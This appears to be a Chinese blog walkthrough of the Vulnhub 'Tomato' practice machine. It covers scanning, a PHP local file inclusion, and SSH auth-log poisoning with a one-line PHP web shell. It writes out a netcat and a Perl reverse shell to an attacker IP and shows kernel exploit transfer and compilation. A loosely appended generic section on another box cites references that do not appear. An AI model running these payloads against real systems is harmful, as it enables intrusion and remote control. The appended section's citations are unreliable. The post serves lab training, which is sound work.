【每日打靶练习】Vulnhub靶机平台-tomato

本文详细记录了在Tomato靶场中,通过主机发现、端口扫描、漏洞扫描、路径爬取、源码分析,进行低0x00部署并深入信息收集和漏洞渗透的过程,包括文件包含、写入日志反弹shell、内核漏洞枚举与本地提权尝试。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00部署

Tomato靶机:下载地址
宿主机:kali2022
目标:获取root拿到flag文件

0x01信息收集

1.主机发现

$ sudo arp-scan -l
//因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip

2.端口扫描

//使用namp命令,-p-指定ip,查看哪些端口开放
$ sudo nmap -p- 靶机ip 
$ sudo nmap -sC -sV -O -p21,80,2211,8888 靶机ip
//-sC常见漏洞脚本扫描
//-sV开放端口服务/版本号
//-O操作系统探测

在这里插入图片描述
通过结果信息可知,http title名称,这里还给出了ssh-hostkey等信息。

3.信息收集(漏洞扫描)

$sudo nmap --script=vuln -p21,80,2211,8888 靶机ip

其结果除了低速率DOS外也没什么可利用信息
在这里插入图片描述

访问80页面:可以看到一张西红树图片,检查一下源码(没什么问题)
在这里插入图片描述

4.路径爬取

对80端口进行一下路径爬取,寻找隐藏信息

$ dirsearch -u http://ip
//没什么特别的结果,继续
$ dirsearch -u http://ip -f -e php,txt,html
//指定扩展名
$ dirsearch -u http://ip -w /usr/share/seclists/Discovery/web-content/common.txt
//指定字典进行爆破

在这里插入图片描述
这里得到了一个防止爬取的插件的页面,查看一下

5.源码分析

里面有很多目录,检查一下内容,在info.php中看到这是一个phpinfo的信息,查看源码得到一个注释:
在这里插入图片描述

<!-- </?php include $_GET['image']; -->

这个注释提醒我们这里可能存在文件包含漏洞
在这里插入图片描述

0x02漏洞渗透

1.文件包含

利用注释的提示,我们尝试包含以下本地/etc/passwd

image=/etc/passwd

在网页的下边找到包含内容,通过返回信息中的用户属性得到信息:root用户可以执行shell,下方的tomato用户也可以执行shell,继续。
在这里插入图片描述在这里插入图片描述
这里尝试包含/etc/shadow目录失败,如果存在文件包含就可以想到包含一句话木马,然后远程执行,但是在info页面发现并未开启远程包含–》更换思路
在这里插入图片描述
这里还要查看一下tomato用户的主目录下的ssh公钥是否可以包含

image=/home/tomato/.ssh/id_rsa

包含失败,这里未开放远程包含,同时本地包含文件无可再利用—》转换思路

2.写入日志

这里思路有三:
1.对ftp发起错误请求–写入日志–访问日志—查看写入的位置—对写入位置进行一句话木马,但是这里找不到ftp日志:1.权限问题,2.日志路径修改
2.web服务器写入日志
3.向ssh发起–写入–访问–若无配置,ssh默认登录信息或被存在放在系统信息身份认证日志中/var/log/auth.log–查看错误访问写入–一句户木马

$ ssh 22222@靶机ip -p 2211
//-p 指定一下port 

在这里插入图片描述
尝试ssh连接,这里使用错误的用户名和错误的密码,输入三次后,写入日志中,检查一下log,成功获取到日志信息,可通过修改ruser来进行注入

$ ssh '<?php echo system($_GET["cmd"]);?>'@ip -p port

刷新日志进行查看,发现注入未显示,证明注入成功,木马被作为代码执行,若显示则失败,代码木马作为文本执行。
在这里插入图片描述

反弹shell

查看一下nc存在否:(存在)

cmd=which nc
cmd=which perl
//查看一下perl环境有无,用来执行反弹shell脚本

在这里插入图片描述
利用nc来实现反弹shell
kali端:

$nc -nvlp 4444
//监听4444端口
---------------
包含:
cmd=nc kali的ip 4444 -e /bin/bash
//若成功,kali端会收到初始shell权限
//失败就换用反弹脚本:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.145.142:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

在这里插入图片描述
kali端收到侦听,执行指令发现当前用户可执行的指令很少,权限很少,通过查看系统使用工具来检查内核是否存在漏洞:
在这里插入图片描述
该工具:linux-exploit-suggester

3.内核漏洞枚举

下载该工具,并将其移动至主目录,更名为首字母缩写les.sh文件

$ cp /usr/share/linux-exploit-suggester/linux-exploit-suggester.sh .
$ mv linux-exploit-suggester.sh les.sh
$ nc kali的ip 4444 < les.sh -w 1 
//将工具les.sh通过nc发给靶机shell,-w表示一发送到就断开连接
//靶机端侦听,将收到的文件存入les.sh中
nc 4444 > les.sh
chmod +x les.sh
./les.sh

执行后的匹配到相应漏洞,选择可能性高的来试一下
在这里插入图片描述
kali靶机:

//搜索漏洞,根据提供路径放到当前目录下
$ searchsploit -p 40839
$ cp /usr/share/exploitdb/exploits/linux/local/40839.c .
$ gcc 40839.c -o exp
//这个执行不了,所以换一个
$ searchsploit -p 45010
$ cp /usr/share/exploitdb/exploits/linux/local/45010.c .
$ gcc 45010.c -o exp
$ nc kali的ip 4545 < exp -w 1 

推荐在目标靶机上进行gcc,但是如果目标靶机上没有c环境,则在宿主机上进行编译然后再通过nc传给靶机。

//靶机端侦听,将收到的文件存入les.sh中
nc 4545 > exp
chmod +x exp
./exp

本来到这里应该就可以提权了,但是我id后还是www-data用户,所以尝试了网上的方法,先将shell变成可交互式的:

python3 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
然后再运行漏洞文件,才发现刚才不能提权是缺少‘GLIBC_2.34’
解决一下,tomato靶机提权无效的问题:暂未解决

4.本地提权

id
### 关于VulnHub靶机AI-WEB1的信息 针对VulnHub平台上的AI-WEB1靶机,该虚拟机旨在提供给有兴趣了解Web应用程序安全性的个人一种实践环境。通过这一挑战,参与者可以探索常见的Web应用漏洞以及如何利用这些弱点来获得系统的进一步访问权限。 #### 初始侦察阶段 在开始任何实际攻击之前,进行全面的情报搜集至关重要。这通常涉及到使用诸如`Nmap`这样的工具来进行端口扫描和服务版本检测: ```bash nmap -A <target_IP> ``` 上述命令能够揭示开放的服务及其潜在的安全配置缺陷[^3]。 #### Web服务器枚举 一旦确认目标运行着HTTP(S)服务,则应立即启动目录遍历尝试。可借助像`Dirb`或更现代的选择如`Gobuster`等工具完成这项工作: ```bash gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ``` 此过程有助于发现隐藏页面和管理接口,它们可能是后续入侵的关键入口点。 #### 应用层挖掘 对于基于PHP构建的应用程序来说,源码泄露是一个常见问题。如果运气好,在上一步找到的路径里可能会存在`.php~`或其他临时文件形式暴露出来的代码片段。仔细审查这部分内容往往能带来意想不到的收获——比如硬编码凭证或是调试模式下的敏感信息泄漏。 #### 数据库交互测试 许多老旧CMS(内容管理系统)容易受到SQL注入的影响。当遇到带有查询参数的URL时,不妨试试经典的单引号闭合技巧;而对于表单提交,则可通过修改POST数据包中的字段名与值组合来进行试探性输入验证绕过[^8]。 #### 提升权限方法 成功突破前端防护之后,下一步便是考虑怎样扩大战果直至取得root shell。Linux系统下,检查SUID位设置不当的二进制文件是一项基本技能;而Windows环境中则需留意计划任务、注册表键值异常变动等情况。 #### Drupal特定注意事项 鉴于部分描述提及到Drupal CMS, 若确实如此的话,值得注意的是有关于此框架内核升级机制的一个已知特性:即管理员账户密码可以通过编辑数据库记录的方式实现重置而不依赖原有认证流程[^9]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值